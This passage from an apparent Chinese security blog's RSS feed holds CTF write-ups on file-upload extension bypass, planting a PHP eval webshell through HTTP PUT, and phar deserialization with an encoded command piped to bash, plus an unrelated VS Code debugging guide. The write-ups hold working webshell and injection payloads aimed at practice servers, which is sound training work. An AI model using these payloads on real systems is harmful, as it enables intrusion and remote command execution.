class="p"&gt;}&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;highlight_file&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;__FILE__&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这里我们分析后，发现对上传的文件的后缀进行了过滤，这里使用.绕过，当时在做的时候一直没过去，忽略了windows下是.绕过，而在linux下要用转义符/.进行绕过。&lt;/p&gt;&#10;&lt;p&gt;在windows下创建一个1.txt.文件，它会自动转换为1.txt，而在linux下，1.txt.是真实存在的。&lt;/p&gt;&#10;&lt;p&gt;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-0" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202309111948551.png" alt="image-20230911194820491" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-0" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202309111948551.png" alt="image-20230911194820491"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import requests&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;myurl = &amp;#39;http://node5.anna.nssctf.cn:28919/&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;file_content = &amp;#34;&amp;lt;?php phpinfo();?&amp;gt;&amp;#39;&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;file = {&amp;#39;file&amp;#39;: (&amp;#39;1.php%2f.&amp;#39;, file_content)}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;response = requests.post(url=myurl, files=file)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;print(response.text)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#10;&#10;&#10;&lt;h2 id="结语"&gt;&#10; 结语&lt;a class="heading-anchor" href="#%e7%bb%93%e8%af%ad" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;系统的特性。简单的文件上传。&lt;/p&gt;</description></item><item><title>[NSSRound#1 Basic]basic_check</title><link>http://blog.foreverwl.top/blog/nssround%231-basicbasic_check/</link><pubDate>Wed, 06 Sep 2023 15:34:16 +0800</pubDate><guid>http://blog.foreverwl.top/blog/nssround%231-basicbasic_check/</guid><description>&lt;h2 id="打开题目"&gt;&#10; 打开题目&lt;a class="heading-anchor" href="#%e6%89%93%e5%bc%80%e9%a2%98%e7%9b%ae" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;发现只有一行显示页面代码，通过扫描目录并没有有用的信息。&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;?php highlight_file(__FILE__);// Welcome to NSSCTF Round#1 Basic, have fun.&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#10;&#10;&#10;&lt;h2 id="考察点"&gt;&#10; 考察点&lt;a class="heading-anchor" href="#%e8%80%83%e5%af%9f%e7%82%b9" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;这道题目考查http中的put请求，通过curl -i -X OPTIONS &lt;a href="http://node4.anna.nssctf.cn:28936/index.php%EF%BC%8C%E5%8F%AF%E4%BB%A5%E7%9C%8B%E5%88%B0allow%E5%A4%B4%E9%83%A8"&gt;http://node4.anna.nssctf.cn:28936/index.php，可以看到allow头部&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;curl 参数-X 指定命令。这里用了一个 http OPTINOS，options也算一个http请求，&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h2 id="http-options"&gt;&#10; http options&lt;a class="heading-anchor" href="#http-options" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;HTTP 的 &lt;code&gt;OPTIONS&lt;/code&gt; 方法 用于获取目的资源所支持的通信选项。客户端可以对特定的 URL 使用 &lt;code&gt;OPTIONS&lt;/code&gt; 方法，也可以对整站（通过将 URL 设置为“*”）使用该方法。&lt;/p&gt;&#10;&lt;p&gt;作用：&lt;/p&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;检测服务器所支持的请求方法&lt;/li&gt;&#10;&lt;li&gt;CORS 中的预检请求(preflight request)&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&#10;&#10;&#10;&lt;h2 id="allow头部"&gt;&#10; Allow头部&lt;a class="heading-anchor" href="#allow%e5%a4%b4%e9%83%a8" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;&lt;code&gt;Allow&lt;/code&gt; 首部字段用于枚举资源所支持的 HTTP 方法的集合。&lt;/p&gt;&#10;&lt;p&gt;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-0" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202309062054895.png" alt="image-20230906205456828" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-0" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202309062054895.png" alt="image-20230906205456828"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;这里可以看到允许put方法，&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h2 id="put请求"&gt;&#10; put请求&lt;a class="heading-anchor" href="#put%e8%af%b7%e6%b1%82" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-1" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202309062055215.png" alt="image-20230906205543185" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-1" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202309062055215.png" alt="image-20230906205543185"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;可以看到如果没有找到请求的资源，会自动创建一个新资源，也就是我们可以自己上传文件到服务器，随便打。&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-gdscript3" data-lang="gdscript3"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;import&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;myurl&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;http://node4.anna.nssctf.cn:28257/eval.php&amp;#39;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;mypayload&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&amp;lt;?php eval($_GET[&amp;#39;a&amp;#39;]);?&amp;gt;&amp;#34;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;put&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;myurl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;mypayload&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;mypayload2&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;a=system(&amp;#39;cat /f*&amp;#39;);&amp;#34;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;re2&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;myurl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;mypayload2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;re2&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description></item><item><title>vscode调试js代码配置</title><link>http://blog.foreverwl.top/blog/vscode%E8%B0%83%E8%AF%95js%E4%BB%A3%E7%A0%81%E9%85%8D%E7%BD%AE/</link><pubDate>Sun, 03 Sep 2023 07:37:00 +0800</pubDate><guid>http://blog.foreverwl.top/blog/vscode%E8%B0%83%E8%AF%95js%E4%BB%A3%E7%A0%81%E9%85%8D%E7%BD%AE/</guid><description>&lt;h2 id="前言"&gt;&#10; 前言&lt;a class="heading-anchor" href="#%e5%89%8d%e8%a8%80" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;前几天在分析原型链污染的代码时，对js代码需要调试，当我用vscode进行调试时发现了一些问题。调试运行不起来？&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h2 id="如何用vscode对js代码进行调试"&gt;&#10; 如何用vscode对js代码进行调试？&lt;a class="heading-anchor" href="#%e5%a6%82%e4%bd%95%e7%94%a8vscode%e5%af%b9js%e4%bb%a3%e7%a0%81%e8%bf%9b%e8%a1%8c%e8%b0%83%e8%af%95" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&#10;&#10;&#10;&lt;h3 id="第一步"&gt;&#10; 第一步&lt;a class="heading-anchor" href="#%e7%ac%ac%e4%b8%80%e6%ad%a5" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h3&gt;&#10;&lt;p&gt;这里我们使用node.js对js代码进行调试。下载安装node.js环境。官网下载即可，&lt;a href="https://nodejs.org/en"&gt;Node.js (&lt;/a&gt;&lt;a href="http://nodejs.org"&gt;nodejs.org&lt;/a&gt;&lt;a href="https://nodejs.org/en"&gt;)&lt;/a&gt;。安装完毕后我们使用 node -v查看一下是否环境配置成功。&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h3 id="第二步"&gt;&#10; 第二步&lt;a class="heading-anchor" href="#%e7%ac%ac%e4%ba%8c%e6%ad%a5" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h3&gt;&#10;&lt;p&gt;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-0" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202309030918021.png" alt="image-20230903091851935" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-0" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202309030918021.png" alt="image-20230903091851935"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;打开我们要调试的文件夹，这里我创建一个新的文件夹演示。&lt;/p&gt;&#10;&lt;p&gt;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-1" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202309030921154.png" alt="image-20230903092126079" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-1" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202309030921154.png" alt="image-20230903092126079"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;我们使用vscode打开工作文件夹。我们单击 运行-&amp;gt;打开配置&lt;/p&gt;&#10;&lt;p&gt;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-2" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202309030925004.png" alt="image-20230903092531956" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-2" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202309030925004.png" alt="image-20230903092531956"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;这个时候会自动创建一个文件夹，包含了一个launch.json文件，就是我们要配置的文件。&lt;/p&gt;&#10;&lt;p&gt;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-3" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202309030927786.png" alt="image-20230903092702712" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-3" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202309030927786.png" alt="image-20230903092702712"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;这里面是一些配置信息，我们只需要修改最后一个program，这个${workspaceFolder}表示当前目录，后面是我们要进行调试的文件，我们这里对1.js进行调试。&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h3 id="第三步"&gt;&#10; 第三步&lt;a class="heading-anchor" href="#%e7%ac%ac%e4%b8%89%e6%ad%a5" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h3&gt;&#10;&lt;p&gt;到这里我们已经可以对代码进行调试了，使用快捷键F5启动调试。&lt;/p&gt;&#10;&lt;p&gt;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-4" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202309030935179.png" alt="image-20230903093514117" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-4" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202309030935179.png" alt="image-20230903093514117"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;左边可以看到一些变量，上边我们可以对代码进行下一步或者上一步的调试。&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h2 id="结语"&gt;&#10; 结语&lt;a class="heading-anchor" href="#%e7%bb%93%e8%af%ad" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;一直敲的代码都不多，一些基本的功能也不常用。vscode确实是一个很好用的开发工具，首先占用的运行内存小(轻量化)，其次通过插件实现多种语言的编写，以及各种各样的插件，还需要自己去探究。&lt;/p&gt;</description></item><item><title>DASCTF7月挑战赛MyPicDisk</title><link>http://blog.foreverwl.top/blog/dasctf7%E6%9C%88%E6%8C%91%E6%88%98%E8%B5%9Bmypicdisk/</link><pubDate>Thu, 24 Aug 2023 04:52:00 +0800</pubDate><guid>http://blog.foreverwl.top/blog/dasctf7%E6%9C%88%E6%8C%91%E6%88%98%E8%B5%9Bmypicdisk/</guid><description>&lt;h2 id="题目考点"&gt;&#10; 题目考点&lt;a class="heading-anchor" href="#%e9%a2%98%e7%9b%ae%e8%80%83%e7%82%b9" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&#10;&#10;&#10;&lt;h3 id="1phar反序列化"&gt;&#10; 1.phar反序列化&lt;a class="heading-anchor" href="#1phar%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h3&gt;&#10;&#10;&#10;&#10;&lt;h3 id="2xpath注入"&gt;&#10; 2.xpath注入&lt;a class="heading-anchor" href="#2xpath%e6%b3%a8%e5%85%a5" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h3&gt;&#10;&#10;&#10;&#10;&lt;h3 id="3命令拼接"&gt;&#10; 3.命令拼接&lt;a class="heading-anchor" href="#3%e5%91%bd%e4%bb%a4%e6%8b%bc%e6%8e%a5" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h3&gt;&#10;&#10;&#10;&#10;&lt;h2 id="解题过程"&gt;&#10; 解题过程&lt;a class="heading-anchor" href="#%e8%a7%a3%e9%a2%98%e8%bf%87%e7%a8%8b" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&#10;&#10;&#10;&lt;h3 id="1获得源码"&gt;&#10; 1.获得源码&lt;a class="heading-anchor" href="#1%e8%8e%b7%e5%be%97%e6%ba%90%e7%a0%81" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h3&gt;&#10;&lt;p&gt;万能密码登录，在重定向页面发现源码。&lt;/p&gt;&#10;&lt;p&gt;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-0" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202307271640149.png" alt="image-20230727164048078" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-0" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202307271640149.png" alt="image-20230727164048078"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h3 id="2分析代码"&gt;&#10; 2.分析代码&lt;a class="heading-anchor" href="#2%e5%88%86%e6%9e%90%e4%bb%a3%e7%a0%81" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h3&gt;&#10;&lt;p&gt;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-1" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202307271641133.png" alt="image-20230727164115091" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-1" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202307271641133.png" alt="image-20230727164115091"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;先看这一部分，当$result为真且session存在，会提示登录成功，用户名和密码通过xpath语法进行查询，我们可以通过xpath注入绕过，也就是第一步的万能密码登录。&lt;/p&gt;&#10;&lt;p&gt;这里可以通过xxe盲打将账号密码得出，但这里还不太会。&lt;/p&gt;&#10;&lt;p&gt;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-2" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202307271641643.png" alt="image-20230727164126612" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-2" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202307271641643.png" alt="image-20230727164126612"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;这里通过判断是不是admin，如果不是就删除会话，前面大概判断逻辑就是，如果session不存在重定向到登录界面，如果session存在，可以往下操作。&lt;/p&gt;&#10;&lt;p&gt;因为我这里是没得到账号和密码，不过这题可以通过要往下操作时再发一遍登录的包进行一个session的存在。&lt;/p&gt;&#10;&lt;p&gt;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-3" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202307271641435.png" alt="image-20230727164140403" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-3" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202307271641435.png" alt="image-20230727164140403"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;这部分实现了一个上传文件的功能，结合前面的逻辑，也就是当sesison存在时，我们可以进行一个文件的上传，这里对文件类型进行了判断，&lt;/p&gt;&#10;&lt;p&gt;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-4" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202307271641453.png" alt="image-20230727164148419" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-4" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202307271641453.png" alt="image-20230727164148419"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;最后一部分，有个echo md5_file($filename);可以使用伪协议&lt;/p&gt;&#10;&lt;p&gt;再看FILE类&lt;/p&gt;&#10;&lt;p&gt;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-5" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202307271641599.png" alt="image-20230727164157563" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-5" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202307271641599.png" alt="image-20230727164157563"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;可以看到最后我们可以进行命令拼接&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h3 id="3解题思路"&gt;&#10; 3.解题思路&lt;a class="heading-anchor" href="#3%e8%a7%a3%e9%a2%98%e6%80%9d%e8%b7%af" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h3&gt;&#10;&lt;p&gt;通过文件上传phar文件然后通过md5_file()用phar协议去读phar文件，在生成phar中拼接命令，但这里对拼接的命令进行了过滤，可以通过base64加密再解密绕过。&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h4 id="生成phar文件"&gt;&#10; 生成phar文件&lt;a class="heading-anchor" href="#%e7%94%9f%e6%88%90phar%e6%96%87%e4%bb%b6" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h4&gt;&#10;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;?php&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;class FILE{&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; public $filename=&amp;#34;;echo Y2F0IC9hZGphc2tkaG5hc2tfZmxhZ19pc19oZXJlX2Rha2pkbm1zYWtqbmZrc2Q=|base64 -d|bash -i&amp;gt;1.txt&amp;#34;;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; public $lasttime;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; public $size;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$phar = new Phar(&amp;#34;bb.phar&amp;#34;);&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$phar-&amp;gt;startBuffering();&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$phar-&amp;gt;setStub(&amp;#34;&amp;lt;?php __HALT_COMPILER(); ?&amp;gt;&amp;#34;);&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$aa = new FILE();&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$phar-&amp;gt;setMetadata($aa);&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$phar-&amp;gt;addFromString(&amp;#34;test.txt&amp;#34;, &amp;#34;test&amp;#34;);&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span 